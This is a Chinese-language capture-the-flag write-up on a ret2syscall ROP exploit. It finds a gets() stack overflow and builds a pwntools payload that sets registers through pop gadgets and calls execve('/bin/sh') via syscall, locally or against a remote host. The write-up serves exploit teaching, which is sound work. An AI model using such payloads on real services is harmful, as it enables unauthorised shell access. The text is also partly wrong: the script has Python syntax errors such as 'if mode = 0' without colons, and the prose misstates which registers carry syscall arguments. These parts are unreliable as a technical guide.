今天学了一手基础ROP中的ret2syscall,拿了道题练手。话不多说,先来看看如何复现
首先,打开题目,发现目录下的可执行elf文件。
拖到虚拟机中,使用checksec指令查看文件保护属性
可以看出没有栈溢出与PIE保护,意味着该程序代码段的地址为静态,不需要动态获取段地址,且可以进行栈溢出攻击接着拖进IDA分析伪代码,先找到main函数。
可以看见main函数下有俩个函数,一个是initt(args, argv, envp),一个是pwnn(),前者是linux内核系统必需的用户级进程,与本题ret2syscall关系不大,不做分析,直接进入pwnn()。
发现一个gets函数,通过对程序的保护属性分析,我们知道没有栈溢出保护,发现可以利用一下gets函数来实现栈溢出攻击,通过任意写返回地址来进行ROP链最开始的一环。
接着开始构思如何构建ROP链,已知我们的核心目的是通过syscall系统调用来获取shell。
因此,我们需要构建一个通过syscall调用execve(内核级系统调用函数,在这里作用同system())来获取shell的ROP链。
利用工具ROPgadget,来查看当前程序存在的可利用ROP代码片段,指令为 ROPgadget --binary <文件名> --only "pop|ret"
使用指令后,出现了一堆pop|ret链环,先构建我们需要调用的核心函数,再考虑如何构建ROP链。
核心函数为:syscall: sys_write(signed __int64 (__usercall *)@<rax>(unsigned int@<edi>, const char *@<rsi>, size_t@<rdx>))与execve(char *pathname,char *argv[],char *envp[]),关系为前者调用后者,需要分析他使用了哪些寄存器传参,我们知道,64位的常规函数调用约定需要依次使用rdi,rsi, rdx, rcx, r8, r9等寄存器来传递参数。
execve(char *pathname,char *argv[],char *envp[])需要3个参数;而syscall(int, int, int)也需要3个参数,但它比较特殊,属于内核系统级调用函数,第一个参数是系统调用号,通过rax来传递,剩余其他参数与常规函数调用一致,而后面3个参数可以省略,它们分别是通过rax,rdx,rbx来传递的。
汇总一下需要控制的寄存器,rdi,rsi,rdx,rax。到这里我们已经知道需要选取出相关的pop|ret片段地址,如下图
开始构建payload和exp
1 from pwn import * 2 3 mode = 0 4 url = "127.0.0.1" 5 port = "8080" 6 7 pop_rax_rdx_rbx_ret=0x478a76 8 pop_rdi_ret=0x401676 9 pop_rsi_ret=0x401797 10 binsh_addr=0x4A15A4 11 syscall_addr=0x4003da#可通过IDA检索出,64位关键词为"sys_write" 12 13 payload="A"*0x18+p64(pop_rdi_ret)+p64(binsh_addr) #stackoverflow & rdi=binsh_addr 14 payload+=p64(pop_rsi_ret)+p64(0) #rsi=0 15 payload+=p64(pop_rax_rdx_rbx_ret)+p64(59)+p64(0)+p64(0)# rax=59 rdx=0 16 payload+=p64(syscall_addr) #execve("/bin/sh",0,0) 17 18 #local 19 if mode = 0 20 p = process("./poc") 21 #gdb.attach(p,"b * main) 22 p.sendlineafter("you show syscall?\n",payload) 23 p.interactive() 24 #remote 25 else 26 p = remote(url,port) 27 p.sendlineafter("you show syscall?\n",payload) 28 p.interactive()
最后成功打穿本地
原文:https://www.cnblogs.com/Ph03n1x/p/14829416.html